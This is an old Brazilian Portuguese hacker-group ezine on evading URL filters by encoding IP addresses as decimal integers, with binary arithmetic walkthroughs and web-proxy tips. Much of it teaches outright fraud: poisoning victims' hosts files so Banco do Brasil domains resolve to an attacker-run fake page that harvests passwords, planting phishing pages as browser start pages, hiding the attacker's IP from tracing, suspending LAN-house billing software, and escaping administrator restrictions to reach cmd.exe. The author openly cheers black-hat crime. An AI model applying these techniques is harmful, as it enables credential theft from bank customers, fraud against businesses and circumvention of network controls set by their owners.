+=============X=x=X=================+ * CORPORACAO VIBORA * * xXx * * Hail ao Hacking Nacional! * +=============X=x=X=================+ *************************** * Burlando Filtros de URL * *************************** TEXTO ESCRITO ORIGINALMENTE PARA A COMUNIDADE LUZINHA Eh A MAIOR Link: http://www.orkut.com.br/Community.aspx?cmm=24957907 Access denied? Nunca mais manoh Email: ratao666@hotmail.com NOTA: Texto scrito em 2007 e editado em 29/3/2010 as 09:20 ------=[ Indice [1]. Starting... [2]. Por que diabos voce ia querer saber isso? [3]. Outra analogia e iniciando [4]. Comecando a destruicao - Colocando bomba na mao de terrorista ;) [5]. A MATEMATICA DAS REDES 5.1 Converter decimal para binario 5.2 Converter binario para decimal 5.3 Encodando nosso IP [6]. Encodando IP no metodo Super Mega Ultra Giga Detr0yer Hardcode Undeground l33t p0t3nt3. [7]. Lamahl Stuff [Piadinhas de lamah] [8]. Confundindo lamah. Pharming com IP encodado. [9]. Nao consegui arrumar um titulo para esse capitulo. [10]. Burlando projetos de acesso livre a internet feitos pelo governo brasileiro [11]. Adios amigos 1 - Starting... The Bug is on the table. Meu ingles vagabundo estah cada dia menos vagabundo oO Bem, isso nao pode ser considerado um bug, mas podemos passar por filtros de 'URL' com essa tecnica super 3l1t3, pois me parece que ninguem consegue ver que um endereco IP nada mais eh que um endereco DECIMAL INTEIRO de 32 bits. OO Deus do ceu, que surpresa...:) Agora -> Smile . Obvio q vc naum vai sempre conseguir passar pelos tais filtros da vida pq existem cabras bons in the World, mas para cada "cabra bom", temos 666 que nao sao. +----------------------------------------------+ |2 - Por que diabos voce ia querer saber isso? | +----------------------------------------------+ Nao sabe o que eh burlar filtro de URL? Kramba. Voce naum tem nocao do que isso pode lhe traZer de bom? Kcete. Vamos a uma analogia? Vc esta no seu emprego entediado e com net a sua disposicao e tenta acessar uma URL mais ou menos parecida com essa: http://www.SexAndSubmission.com Repare que nesta URL existe a palavra "Sex" e por esse mesmo motivo a requisicao pode ser descartada la no servidor proxy que vc ta usando. O filtro pode funcionar de maneira inteligente, abrindo os headers e comparando as palavras proibidas em sua ACL, ao ASCII encontrado dentro dos payloads dos pacotes que trafegam na intranet, ou alguem pode ter configurado o software de filtro de URL basendo-se pelo endereco IP do dominio. Ainda existe a possibilidade de bloquearmos um determinado site pelo seu DNS EM UM MODO GERAL e ate um dominio todo, como o Squid que nos permite restringir um dominio inteiro apenas com simples instrucoes, use o parametro 'dstdomain' (Destination Domain) para executar tal restricao, assim bloqueando o acesso a todas as sub-paginas. Um exemplo: --- cut here --- acl Acc3ss dstdomain SexAndSubmission.com http_access deny Acc3ss --- cut here --- OBS: O Squid eh um dos melhores servidores proxy existente hoje, isso significa que vale muito voce gastar umas horinhas mechendo nele... estude manoh! ;) Enfim, de todo jeito eh problema... Sera mesmo??? Mas porque eu expliquei como configurava uma pequena restricao de dominio com o Squid se esse tutorial eh sobre how to cheat URL filter? Simples. Caso voces nao saibam, nos metidos a 'Extreme Hackus' sempre nos aprovei- tamos de vacilos humanos para podermos trabalhar, necessitamos em uma grande parte das vezes que alguem cometa um erro e ateh mesmo induzimos nossas vitimas a fazer oq queremos sem mesmo trocar umas ideias com ela (Morticia, valew pelos toques gata). Bem, creio que seja de conhecimento geral por parte dos leitores deste paper, o q poderia vir a ser o tal do WWW (World Wide Web -Larga Teia Mundial), ou seja, sabemos que existem sites que podem ser acesados com o uso do WWW e sem o uso do mesmo. Para o nosso amigo proxy (Squid) a URL www.SexAndSubmission.com e diferente d SexAndSubmission.com. Tabom, e dai? Simples, essa ACL que foi anteriormente configurada apenas restringe o acesso ao host SexAndSubmission.com, mas deixa a URL www.SexAndSubmission.com livre... Agora -> :) Existe centenas de falsos profissionais de seguranca (Como os Burgueses cheios de certifi- cacoes nos chamam) que nao possuem conhecimento disso, conheco um cara que trabalha com o Squid a um tempao e naum sabia disso, quando eu mostrei o macete ele disse: krak };P. Nos autodidatas sofremos amigo, nao temo$ incentivo para faculdade e nem para certificacoes e por isso temos q nos virar p/ aprender os detalhes, ou seja, eh como li por ae: "Pequenos detalhes, grandes diferencas.". Deveria ficar assim: --- cut here --- acl Acc3ss dstdomain SexAndSubmission.com www.SexAndSubmission.com http_access deny Acc3ss --- cut here --- Existem centenas de filtros de URL "Furados" por ai, passar por eles eh coisa de crianca, creio que esse pequeno detalhe com o squid possa vir a ser util para voce algum dia amigo ;) +-------------------------------------+ |3 - Outra analogia e iniciando | +-------------------------------------+ Voce quer acessar o orkut ou algum site de putaria bizonha e nao pode. +--------------------------------------------------------------------+ |4 - Comecando a destruicao - Colocando bomba na mao de terrorista ;)| +--------------------------------------------------------------------+ Acho que voces ja devem estar cansados de saber que a menor unidade de armazenamento de dados de um computador eh um tal de bit, q quando agrupado em oito forma um byte (8 bits = 1 byte). De certa forma devo crer que vc deva saber o q eh um binario (Cada digito na base binaria eh chamado de BIT - Binary DigIT), caso contrario nao deveria estar lendo esse paper, seu lamah, mas tem uma nocao boa do que deva ser esse tal binario, mas por falta de tempo, NAO por falta de interesse, vc "ainda" nao leu aquela sua documentacao oficial p/ a certificao cisco. Entao esse texto foi feito para voce amigo, vou lhe ensinar como calcular o negocio para obter o que queremos. Vamos ao segredo? O negocio rola da seguinte forma mano: Quando acesamos um de- terminado site e nao obtivemos resposta do host, ou quando temos como resposta um aviso de restricao, significa q, muito provavelmente deve existir 1 tabelinha de IP's sendo proibidos p/ os usuarios de dentro da rede interna, mas... Veja o formato d 1 IP normal: Octetos: 189 . 17. 34. 2 Bits: 8 8 8 8 Bytes: 1 1 1 1 Sao esses 4 octetos que estao sendo proibidos, mas... e c utilizarmos o formato IP decimal inteiro? Serah que a requisicao vai passar pelo filtro? Hummm. Uma pequena pausa para a meditacao ninja... Ae voce diz: "Ei ei ei! Ninguem vai lembrar de configurar o filtro para restringir IP's em formato decimal inteiro, isso!!! Nao custa nada tentar ;)" Pouco tempo depois voce esta dizendo: "Bingo, passei pelo filtro kcete!" +---------------------------------+ |5.0 - A MATEMATICA DAS REDES | +---------------------------------+ Bem, vamos supor que quermos acessar o site: http://www.darkers.com.br Que por sinal eh uma merda de forum. Vamos supor que este site atende pelo IP: 189.17.34.2 Reparem quantas referencias :) Para convertermos esse numero em decimal inteiro, primeira- mente devemos converter cada octeto desse endereco em binario. Vamo ver isso ae manoh. +------------------------------------+ |5.1 - Converter decimal para binario| +------------------------------------+ Bem, para converter um numero decimal para seu binario eh muito facil, basta voce dividir o numero que quer converter por '2' e em seguida voce pega o resultado e continua dividindo por dois ateh chegar em '0'. Lembre-se: Sempre que sobrar resto coloque 1 e caso contrario coloque 0. Ah! Nao divida os restos. Vamos a pratica. Vamos encontrar o binario de 127? 1) 127/2 = 63,5 1 ^ 2) 63/2 = 31,5 1 | 3) 31/2 = 15,5 1 | 4) 15/2 = 7,5 1 | 5) 7/2 = 3,5 1 | 6) 3/2 = 1,5 1 | 7) 1/2 = 0,5 1 | | | +--> Nao divida esses restos por favor. 8) Acrescente um 0 a esquerda deste resultado para completar 1 byte...:) Devera ficar assim: 01111111 = 127 Repare que o ultimo resultado binario do ultimo numero dividido, vai ser o primeiro quando formos montar o binario completo. Obvio que vc pode contar com esse 0 q eu pedi p/ vc colocar dpois..:) Esse '0' ALEM de servir para completar um byte, assim deixando o binario com + cara de binario (smile ;), eh FUNDAMENTAL para a conversao de binario para decimal, no qual temos q ter os 8 bits. Lembrando que nesse caso em especial naum conseguimos obter os 8 bits na divisao, mas nem sempre e assim, ou seja, nem sempre serah 7 o numero de binarios finais. Ca- so falte algun bit para alcancar um byte, acrescente '0' sempre a ESQUERDA do resultado e seja feliz. Sem duvida vale muito vc lembrar da insercao do mesmo. +------------------------------------+ |5.2 - Converter binario para decimal| +------------------------------------+ Para converter binarios para decimal eh tao facil que chega a dar raiva. Primeiramente colo- que de traz pra frente o binario a ser calculado. Exemplo.: 127: 01111111 -> Antes 11111110 -> Depois Agora que ja temos o numero montado basta apenas repetir cada bit, multiplicar pela base 2, elevar o resultado da multiplicacao a uma potencia em ordem crescente apartir de 0, para ao termino da elevacao da potencia finalmente podermos somar os resultados. Very Easy Baby. Vamos ver como eh isso manoh. Atencao: Tente reparar na sequencia dos expoentes...:) Exemplo: 1 1 1 1 1 1 1 0 1*2^0 1*2^1 1*2^2 1*2^3 1*2^4 1*2^5 1*2^6 0*2^7 1 2 4 8 16 32 64 0 | | | | | v | Todo numero elevado a potencia de 1 eh igua a ele mesmo... dã!! v Todo numero (que nao for 0 =) elevado a 0 eh igual a 1. Lembram??? ---==x===X===x==------ OBS: [Isso -> '^' quer dizer que o negocio que ta rolando eh potencia ^^] ---==x===X===x==------ Binario l1k3: 1 1 1 1 1 1 1 0 Decimal Rulez: 1*2^0 1*2^1 1*2^2 1*2^3 1*2^4 1*2^5 1*2^6 0*2^7 Total: 1 + 2 + 4 + 8 + 16 + 32 + 64 + 0 = 127 Agora smile! Dica: Essa dica eh meio obvia mais para quem ainda nao sacow vai ser uma boa manoh. Simples, repare que existe um sequencia de valores positivos neste binario ae em cima ('1111111' 0), isso significa que voce apenas precisa saber o resultado da potencia do segundo item a ser calculado, para ir duplicando o mesmo no resultado das potencias vizinhas, mas esse macete naum funfa apenas p/ sequencia binaria positiva, tipo, esse esquema eh otimo para voce saber o resultado de uma potencia quando o expoente estiver bem elevado e nao existir mais nenhuma sequencia de binario positivo, basta ir somando os results como c voce estivese elevando uma potencia de bit positivo (Caso ele nao exista =), ou seja, contando com os binarios nulos, assim quando voce chegar a uma potencia que tenha uma base positiva ja vai saber o resultado, assim poupando seu tempo, ao invez de fazer o que apenas estupidos fazem: Calcular coisas previZiveis ...:) Vamos a um exemplo pratico do que eu estou falando utilizando o numero 139. 1) 139/2 1 2) 69/2 1 3) 34/2 0 4) 17/2 1 5) 8/2 0 6) 4/2 0 7) 2/2 0 8) 1/2 1 10001011 = 139 10001011 -> Antes 11010001 -> Depois 1 1 0 1 0 0 0 1 1*2^0 1*2^1 0*2^2 1*2^3 0*2^4 0*2^5 0*2^6 1*2^7 1 2 0 8 0 0 0 128 = 139 | | | | | | | | | | | | | | | V V V V V /|\ | +---+ +---+ +----+ +----+ +----+ | | 4 | | 8 | | 16 | | 32 | | 64 | + 64 = 128 | +---+ +---+ +----+ +----+ +----+ | | +--> Comece duplicando esse valor. Viram? Funciona. Eu sou foda...:) Ah Pra quem nao sabe na linguagem binaria o [1] quer dizer verdadeiro e [0] quer dizer falso, mas aqui eu estou chamando o '1' de positivo e o '0' de nulo...:) +------------------------------------+ | 5.3 - Encodando nosso IP | +------------------------------------+ Eh garoto, lembrando que podemos usar este conhecimento de conversao de bits para encodarmos alguma URL falsa...:) Como nesse caso abaixo ^^: http://www.BancoDoHacku:password@2130706433:8080/PATH/index/HACKU_BANK?Opts Mas porque eu apenas falei isso agora? Porque acho q vcs ja sabiam e pq nao faco apologia a lammers nos my txt's, deixo o bom sempre p/ o final e deixo o + tecnico no comeco que eh para canSar eles e elas...:) Resumindo: Se vc chegou ateh aqui, agora tem essa informacao...:) Vamos para o 'Sal' galera, agora que ja temos os octetos do IP devidamente convertidos em binarios, vamos transformar o grande binario restante em Decimal. 01111111000000000000000000000001 -> Antes 10000000000000000000000011111110 -> Depois Primeiro octeto: 1 0 0 0 0 0 0 0 1*2^0 0*2^1 0*2^2 0*2^3 0*2^4 0*2^5 0*2^6 0*2^7 1 0 0 0 0 0 0 0 Segundo octeto: 0 0 0 0 0 0 0 0 0*2^8 0*2^9 0*2^10 0*2^11 0*2^12 0*2^13 0*2^14 0*2^15 0 0 0 0 0 0 0 0 Terceiro octeto: 0 0 0 0 0 0 0 0 0*2^16 0*2^17 0*2^18 0*2^19 0*2^20 0*2^21 0*2^22 0*2^23 0 0 0 0 0 0 0 0 Quarto octeto: 1 1 1 1 1*2^24 1*2^25 1*2^26 1*2^27 16.777.216 33.554.432 67.108.864 134.217.728 1 1 1 0 1*2^28 1*2^29 1*2^30 0*2^31 268.435.456 536.870.912 1.073.741.824 0 Resultado: 2.130.706.433 Ei caras... Voces naum querem usar uma calculadora naum?? O windows e Linux possuem otimas calculadoras cientificas :P Octetos: 127 . 0 . 0 . 1 Binarios: 01111111 00000000 00000000 00000001 Grande bin: 01111111000000000000000000000001 -> 32 bits, 1 Byte. Resultado: 2130706433 Acesse: http://2130706433 Como isso eh legal :P rsrs. Vamos tentar agora usando a calc? Blz. +-------------------------------------------------------------------------+ |6 - Encodando IP no metodo Super Mega Ultra Giga Detr0yer Hardcode | | Undeground l33t p0t3nt3. | +-------------------------------------------------------------------------+ Ei ei ei, voce naum sabe usar uma calculadora cientifca? Putz, ta mal eim vei. Mas vamos lah. Vamos converter esses 4 octetos aqui: 192 . 168 . 1 . 1 Na shell voce digita 'calc' e tchanram. Apos ela aberta va em 'Exibir' -> Cientifica. Aee!! Vc eh um Hackao da elite! Agora marque a caixa de selecao onde esta escrito Dec (Windows), muito provavelmente vc ja vai sair lah, mas... Por alguma razao voce estah empolgado por estar usando uma calculadora cientifica pela primeira vez na vida e fez M3rda logo na pri- meira vez (Como eu fiz na minha primeira ;). Entao ceritique-se de que o baguizinho ta na checkbox 'Dec'. Ae digite o primeiro octeto do IP (192). Agora marque a caixa d selecao ond estah escrito 'Bin', Aeeee!! Vc tem um resultado! Aqui em ksa deu 11000000. Vamos converter os outros octetos? Pula p/ 'Dec' e escreve 168 e vai para 'Bin', Aeee!! Olha soh, olha soh, ta viciando garoto! Aqui deu isso: 10101000. Obvio que 1 vai dar 1, veja o porque: +------------------------------------+ |'Dec' for 'Bin'<-+->'Bin' for 'Dec' | +------------------------------------+ | | 1 | <-----------+ | 1/2 = 0,5 -> 1 | 1*2^0 | | | | 1 | + --> Entendeu? Claro :) +------------------------------------+ | ^ | | | +----------------------------------------+ Coloca 1 em 'Dec' e vai pra 'Bin', vera que voce vai ter apenas um unico bit, mas voce precisa de 8 deles, o que voce faz? Lembram do esquema de completar com 0's a esquerda pra formar um byte? Humm... Faca isso cara, vc eh um genio! 00000001. O ultimo octeto tambem eh 00000001. A- gora va lah em 'Bin' e escreve esse binario todo: 11000000101010000000000100000001 Agora mude para 'Dec' e corra para o Abraco, de sua mina...:) Aqui deu 3.232.235.777 que nada mais eh que 3232235777. Veja a tabelinha abaixo: +----------------------------------------------------------+ |Octetos: 192 . 168 . 1 . 1 | |----------------------------------------------------------| |Convertido: 11000000 . 10101000 . 00000001 . 00000001| |----------------------------------------------------------| |Binarios: 11000000101010000000000100000001 -> 32 bits.| |----------------------------------------------------------| |Resultado: 3232235777 | |----------------------------------------------------------| |Uso: http://3232235777 | +----------------------------------------------------------+ +--------------------------------------+ |7 - Lamahl Stuff [Piadinhas de lamah!]| +--------------------------------------+ Nao me entendam mal, eu nao quiz dizer isso: 1 1*2^4 Nao ELEVEM A POTENCIA DE QUATRO ("nesse sentido"), pois pode dar dores nas costas oO Tabom tabom, foi sem graca mas eu tentei...:) Citar: 8) Acrescente um 0 a esquerda... Eu naum estava me referindo aquele seu amigo chato :) +---------------------------------------------+ |Confundindo lamah. Pharming com IP encodado. | +---------------------------------------------+ Bem, vc ta afim de contaminar o arquivo de resolucao de enderecos q eh utilizado inclusive por browsers, estou falando do 'hosts', mas vc nao quer q aquele lamah imprestavel pegue o teu IP, p/ depois ele num sair dizendo para os outros que te pegou, entao p/ vc nao ficar puto e querer matar ele!! }-) Vc simplesmente encoda seu IP, pois ele nem vai saber do que se trata, garanto. E tem a questao daqueles manohs que gostam de rastrear IP, o maximo que eles fazem eh ir no registro.br (Caso teu IP pareca Brasileiro =) e whois e empurram teu IP la, dpois eles conseguem teu provedor e tua cidade, ae eles nao querem entrar com um pedidio judicial para ter seus dados e de 1 uma hora para outra pensam em convidar os funcionarios do seu ISP (Internet Service Provider - Provedor de Acesso a Internet) para uma pexada com muita cachaca e "PEIXE" e pegam teu endereco...:) Ou ateh mesmo invadem o server q guarda essas informacoes e pegam seus dados pessoais, os dados de sua namorada, de sua avo, de sua tia distante e resolvem tranformar a vida deles em um lindo HELL. (Nao duvide). Enfim, para evitar esse transtorno tente nao fazer PHARMING eheh, mas se naum tem jeito encode seu IP para encobrir seu host que muito provavelmente vai conter um apache rodando e uma Fake Page hospedada (Hail Phishing!). Ah! Lembre-se de mandar um batch qual- quer por msn e tals, para evitar que MESMO estando encodado, o tal do indentificador de sua maquina ainda esteje la (Se voce nao entendeu eu quis dizer isso '>' no 'hosts'). Faca um teste usando o arquivo hosts que se encontra neste diretorio aqui o (WinXP): %systemroot%\system32\drivers\etc\hosts Acho que voces ja devem saber disso. No linux o file eh o /etc/hosts, olha que coisa + im- previsivel..;P Quem poderia imaginar que ele ficaria no /etc/? \O/, mas no linux o 'hosts' nao resolve IP em formato decimal inteiro. Mas vou mostrar um exemplo de PHARMING in unix porque eu gosto de transmitir cultura para os povos. # Copyright (c) 1993-1999 Microsoft Corp. # # Este é um arquivo HOSTS de exemplo usado pelo Microsoft TCP/IP para Windows. # # Este arquivo contém os mapeamentos de endereços IP para nomes de host. Cada # entrada deve ser mantida em uma linha individual. O endereço IP deve # ser colocado na primeira coluna, seguido do nome de host correspondente. # O endereço IP e o nome do host devem ser separados por pelo menos um # espaço. # # Adicionalmente, comentários (como estes) podem ser inseridos em linhas # individuais ou após o nome de computador indicado por um símbolo '#'. # # Por exemplo: # # 102.54.94.97 rino.acme.com # servidor de origem # 38.25.63.10 x.acme.com # host cliente x 127.0.0.1 www.fake.org smile putx # Estes 3 DNS's resolvem o IP de loopback 3232235777 hash # Esse DNS resolve esse formato de IP 192.168.1.1 hash2 # Este outro DNS resolve este IP classic Esse negocio de Pharming antigamente me dava um tesaum da p0rra ve'i. Agora vamos ver um exemplo de um arquivo d hosts em linux apenas por uma questao didatica [: 127.0.0.1 Black_Machine localhost 127.0.0.1 www.fulo.com.br # <- Olha que legal...:) # The following lines are desirable for IPv6 capable hosts # (added automatically by netbase upgrade) ::1 ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters ff02::3 ip6-allhosts Quando a vitima acessar o site www.fulo.com.br ela vai ser redirecionada para o proprio endereco IP de loopback (127.0.0.1). Tem gente que instala servidor na propria maquina p/ ktar os pass da galera sem precisa d email (PHP Rulez). Eu fazia muito isso em LAN's, ins- talava o IIS e hospedava no inetpub 1 fakepage com 1 formezinho p/ mandar pro meu email as senhas ou escrevia la mesmo. Eh massa quando o msmo server responde a 2 nomes de dominio, ai vc pode usar o 'location' em 'js' tranquilo quando contaminar um dos DNS's que o host remoto responde (Ou o mais famoso ou o mais utilizado, isso depende muito do seu nivel de conhecimento sobre sua V1T1M4), da menos na telha...:) Alguem ja tentou: www.BB.com.br www.BancoDoBrasil.com.br ??? Esses DNS's levam para o mesmo dominio. Black Hat and Cyber Crime rlz! Isso da cadeia. Outro exemplo: http://www.forum-invaders.com.br http://www.forcehacker.com Outro macete bom eh criar uma pagina qualquer sem mesmo ter um servidor web rodando na maquina, como a pagina vai se iniciar?? Simples!! Basta configurar os browsers da vitima para carregar esse 'arquivo como pagina inicial, ou ate mesmo deixar nos desktops das LAN Houses links escrito: Orkut. Juro q tem gente que cai nessa, ou quem sabe vc pode deixar sua HP com a fake /p como pagina inicial sem ter que usar PHARMING, pq c sabe como eh o pessoal leigo (Filha?), o pessoal nao olha para a barra de endereco, eles nem sabem o que eh a barra de endereco. Mas eh mais garantido usar pharming porque vai ter o DNS do site estampado na barra de end, ou seja, isso da menos na telha...:) No firefox e no internet explorer voce pode usar um arquivo salvo no PC como pagina inicial apenas utilizando o nosso amigo 'file://', exemplo: file://C:/index.htm Vai carregar o index.htm que ta no C: toda vez que sua filha rodar o browser dela pra acessar a page da Barbie bruxa ehehe. O file:// eh utilizado p/ carregar arquivos locais, agora imagina a utilizacao disso. Imaginou? Em muitas LAN's o acesso ao shell e restrito pelos gerenciadores d tempo (q podem ser pausados tranquilamente com o programa 'Process Explorer', basta clicar com o botao direito do mouse sobre o icone que representa o pro- cesso do gerenciador [Facil reconhecer :] e ir ate 'Suspend', dae fique o tempo que vc quiser cm apenas 50 centavos, isto eh bom em lans muito grandes, adorava isso. Voce entao tenta usar o explorer mas eh exibida uma mensagem dizendo que o acesso ao 'system32' foi bloqueado pelo administrador, e agora, voce chora? Voce eh viado? Nao, vc abre seu browser (Gosto do Firefox, pq sera?? =) e digita file://c:/Windows/system32 Apos um [Enter] sera listado todo conteudo de system32 e na barra de endereco voce vera uma nova barra file:///c:/Windows/system32 Isso significa que ele esta contando com a raiz (/) e ae eh so executar o que voce quizer, porque voce pode, voce leu um paper do lider da Corporacao Vibora manoh :) Ainda existem expertinhos que impedem isso... :P Oh! e agora, o q vc faz? Vc chora? Nao! Voce entra em qualquer diretorio que tenha permissoes e da 1 Ctrl+F para procurar no system32 o cmd.exe ou qualquer outra pOrra q vc quiser, pois pesquisas nos diretorios normalmente sao permi- tidas (Apesar q diretamente [Explorer] voce nao possa acesa-los), isso eh bom tambem como saida para LANs em q o acesso ao 'Executar' eh proibido. Nada t segura, vc eh foda, vc leu um paper do lider da Viper Corp manoh...:) Gostaria de dar uma dica para os "DESATENTOS" com relação ao pharming: 2 DNS 's resolvem o mesmo ip, ou seja: IP http://www.bb.com.br/ http://www.BancoDoBrasil.com.br/ Com isso vc pode contaminar os dois nomes de dominio no hosts, assim a vitima nao vai ter escapatoria, ou ela vai, ou ela VAI. +------------------------------------------------------------+ |9 - Nao consegui arrumar um titulo para esse capitulo... -.-| +------------------------------------------------------------+ Para esse capitulo eu pensei em um bocado de coisa que chamase a tal da atencao dos leitores, pensei em 1 monte, mas fiquei com esse mesmo. Tava pensando em algo do tipo: "Como burlar filtros de dentro para fora 'E' como burlar ACL de sites de fora para dentro (bloqueiam teu IP? oh! que medA), utilizando um simples proxy...:) Lembra '#phobia'??? rsrs." Mas como hoje eh 10:36 29/3/2010 e esse texto foi originalmente escrito em 2007, resolvi variar, achei melhor deixar esse titulo ae. Eu acessava o dk lame (Iniciante ;), isso nao mas infelizmente o super hacku e malandrinho do #phobia bloqueou o acesso do meu 'IP' ao forum, ae eu tive que me virar como eu podia para obter informacao desse excelente forum de securanca (Estamos em 2010), foi entao que eu entrei nesse site: http://www.AnonyMouse.org E acessei o wWw.darkers.com.br. O que aconteceu foi que o firewall ou algo do tipo bloqueava meu acesso se meu IP fosse detectado, mas esse site acima (AnonyMouse) e muito util quando queremos burlar esse tipo de filtro podre, pois ele nos redireciona para outro site com um endereco IP diferente, ou seja, voce poderia estar com um enderecp IP da China ou ate mesmo da Argentina e tals. Isso eh muito bom p/ burlar o Easy Share, e essas sites de uploading em geral, as vezes existe uma taxa maxima de download permitida p/ um determinado IP, repare q falei "Um determinado IP", ou seja, para burlar isso acesse esses sites que servem de CANO P/ voce poder fazer seus downloads livremente, mas esse eskeminha num rola com o rapidbosta, mas com o Easy Share eu garanto que funfa (Atualmente). Se bem q teve um amigo que me chamou de genio so porque eu pedi p/ ele testar no rapidbosta, diz ele que tava baixando, acho que eh verdade sim, porque o rapaz tava bastante empolgado p/ agradecer...;) Para voce testar se funcionou acesse esse www.OmeuIP.com e veja seu IP original, depois vc entrar no AnonyMouse e escreve www.OmeuIP.com la, ai vc vai ver o endereco IP que o anonymouse deu para vc e nao seu IP original, agora -> Smile =). Eu adoro HTTP proxy (Comumente chamados de Webproxy), veja que eles servem para lhe dar uma maior seguranca e tals, pois vc precisa de privacidade e nao quer ninguem tenha seu IP original, mas como tudo no mundo ----> Podem ser usados p/ o lado negro da coisa...:) rsrsrs. Mas minha festa la nesse forum acabou depois que eu postei que tinha feito isso. Nem sempre isso vai funfar, por motivos que nao vem ao caso cita-los neste documento porque esse paper ja perdeu o rumo faz tempo e num quero disvirtuar mais o negocio, mais do q ele ja ta :P Existem "varios" sites que servem como Webproxy, alem do anonymouse e tals. Nao acabou amigo, ainda podemos configurar nossos browser's p/ usar algum outro servidor proxy, publico. Eu recomendo fortemente que voce use os proxys "confiaveis" desse site aqui (, mas se este site estiver sendo filtrado faca o favor de obter o IP dele em algum outro local e converta para decimal inteiro, ou anote os IP's dos servidores q ele divulga juntamente com suas respectivas portas p/ vc usar no emprego rsrs. Ah! Nao esqueca, logo em seguida-> Sorria): http://www.proxy4free.com/ No proxy4free existem varias listas de proxys para voce usar, tente procurar usar sempre os proxys de alta anonimicidade, nem sempre vc voce achar um proxy que funfe de primeira, por isso voce tem que ir testando ate achar um que seja usavel. Lembrando q sua conexao vai ficar + lenta pq c ta usando um proxy ne meu fi ^^, e isso significa que seus pacotes vao passar por ele p/ soh depois chegar ao destino, mas garanto que o negocio funciona mesmo. Vc pode Confiar. +--------------------------------------------------------------------------------+ |10 - Burlando projetos de acesso livre a internet feitos pelo governo brasileiro| +--------------------------------------------------------------------------------+ Tentei acessar agora a pouco o milw0rm no ilha digital, resultado: Page Blocked The requested URL is blocked according to the web filtering policy. For more information, please contact your system administrator. Time: Wed Mar 24 22:16:18 2010 URL: www.milw0rm.com Category: Hacking Ticket ID: {DEA959AA-3792-11DF-903B-000000003838} Foi proibido. Entao Ctrl+F em qualquer diretorio e procure o cmd.exe a partir da raiz do sistema (c:\ no meu caso) devido a restricoes na maquina. Abra o shell e digite: C:\WINDOWS\system32>ping www.milw0rm.com Disparando contra www.milw0rm.com [66.227.17.18] com 32 bytes de dados: Esgotado o tempo limite do pedido. Esgotado o tempo limite do pedido. Esgotado o tempo limite do pedido. Esgotado o tempo limite do pedido. Estatísticas do Ping para 66.227.17.18: Pacotes: Enviados = 4, Recebidos = 0, Perdidos = 4 (100% de perda), O aviso de tempo esgotado eh porque o firewall do milw0rm nao retorna pacotes ICMP echo reply. Mas nosso intuito (o meu) aqui eh ver a page, entao pegamos o endereco IP que nos foi retornado e tentamos acessar a page utilizando o IP ao inves de DNS, ou seja: http://66.227.17.18/author/1863 Isso signfica: Author: 6_Bl4ck9_f0x6 [ papers ] -::DATE -::DESCRIPTION -::HITS -::AUTHOR 2009-07-22 [portuguese] Retornando para libc - Parte I 3440 D 6_Bl4ck9_f0x6 2009-05-08 [portuguese] Explorando Stack Overflow no Windows 4484 D 6_Bl4ck9_f0x6 2009-03-06 [portuguese] Amenizando Recusa de Servico Remota 3574 D 6_Bl4ck9_f0x6 Burlei o filtro do governo de meu pais (Foi por uma boa causa). Isso vale para todas as outras filias do projeto, espalhadas por todo o pais ;) PADROES DO GOVERNO. O admin esqueceu de bloquear o formato decimal inteiro. Os moleques nao iam fazer muita coisa no milw0rm mesmo. Nao ache que nao tentei soh de "praxe" ver o anonymouse Page Blocked The requested URL is blocked according to the web filtering policy. For more information, please contact your system administrator. Time: Wed Mar 24 22:25:42 2010 URL: www.anonymouse.org Category: Remote Proxies Ticket ID: {2EC728D0-3794-11DF-9BB3-000000009898} Olha a categoria no qual a page estah incluida: Remote Proxies Nao tentem acessar sacanagem molecada, soh foi um texto para voces aprenderem como burlar, nao facam isso em casa, caso seus pais instalem filtros para "impedilo-los" de acessar putaria o dia inteiro e a noite inteira, reduzindo (nao empedindo) significativamente seu periodo relativo de exercicios, e consequentemente impedindo-os de fuder com pessoas reais e o que eh melhor, solidas, COM MAIS IMAGINACAO do que se vc nao tivesse visto putaria. *Isso foi uma piada* Voltaremos ao governo... O que acontece eh que o administrador da rede apenas fez restricoes a requests em formato DNS. Manda o 66.227.17.18 no browser que eu quero ver. Bem, isso nao eh uma falha critica de seguranca, mas deixa os moleques bem animados (Nao to triste nao rapaz =). +---------------------------------------+ |11 - Adios amigos | +---------------------------------------+ 10:46 29/3/2010 Piscina, suas duas rainhas, churrasqueira e muito refrigerante. "Papai? O senhor ainda ta jogando?" -- Unknown for a while [s] That's all folks... []`s by 6_Bl4ck9_f0x6 - Viper Corp Group -- The C.O.D.E (Computadores Orgasmo Destruicao Ezines 0x02) starts here -- _ _ _ _ ____ _____ ____ ____ ____ ___ _ _ _ _ ____ | | | | \ | | _ \| ____| _ \ / ___| _ \ / _ \| | | | \ | | _ \ | | | | \| | | | | _| | |_) | | _| |_) | | | | | | | \| | | | | | |_| | |\ | |_| | |___| _ <| |_| | _ <| |_| | |_| | |\ | |_| | \___/|_| \_|____/|_____|_| \_\\____|_| \_\\___/ \___/|_| \_|____/ by 6_Bl4ck9_f0x6 _ __ __ /' \ /'__`\ /'_ `\ /\_, \ /\_\L\ \ /\ \L\ \ \/_/\ \\/_/_\_<_\ \___, \ \ \ \ /\ \L\ \\/__,/\ \ \ \_\\ \____/ \ \_\ \/_/ \/___/ \/_/ <-----xx----------xxx----------xxx-----------xxxxx-----> Recomendo que voce visualize essa zine com o Firefox ou Internet Explorer ou Opera ou com o bom e velho Netscape, visualizando o texto com tamanho 'normal' (isso se vc quiser "perfeicao" manoh). <-----xx----------xxx----------xxx-----------xxxxx-----> A C.O.D.E agora se chama underground 189 ou 139 (Nao to conseguindo ver direito) e serah publicada como tal em: http://wWw.undergroundsecurityresources.blogspot.com []==-----------------x-------X----------x-----------------------==[] Atencao: Mantenha a calma, esse negocio de hacker existe des de 1945, na segunda guerra mundia jah existia IPX/SPX da Novell. E esse texto foi escrito originalmente em 2008 e editado agora (26/3/2010). Portanto, nao chore boneca, nao existe mais lagartixa na porta, cigarros, nem garrafas de cervejas (Uma pena, era tudo que eu tava precisando agora - Mature, sled of the mistake), como voce leu na versao anterior dessa mesma edicao. []==-----------------x-------X----------x-----------------------==[] "O bom humor e a imaginacao eram minhas principais caracteriscas, bem, continuo bem humorado... Voce conhece o Tiao? Eh, o primo do Carlos =)" -- Adivinha ===============DXXX=============================xxxxx======= ============================================================ ||XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ||XXXXXXX VIPER CORP APRESENTA XXXXXXXXXXXXXXXX 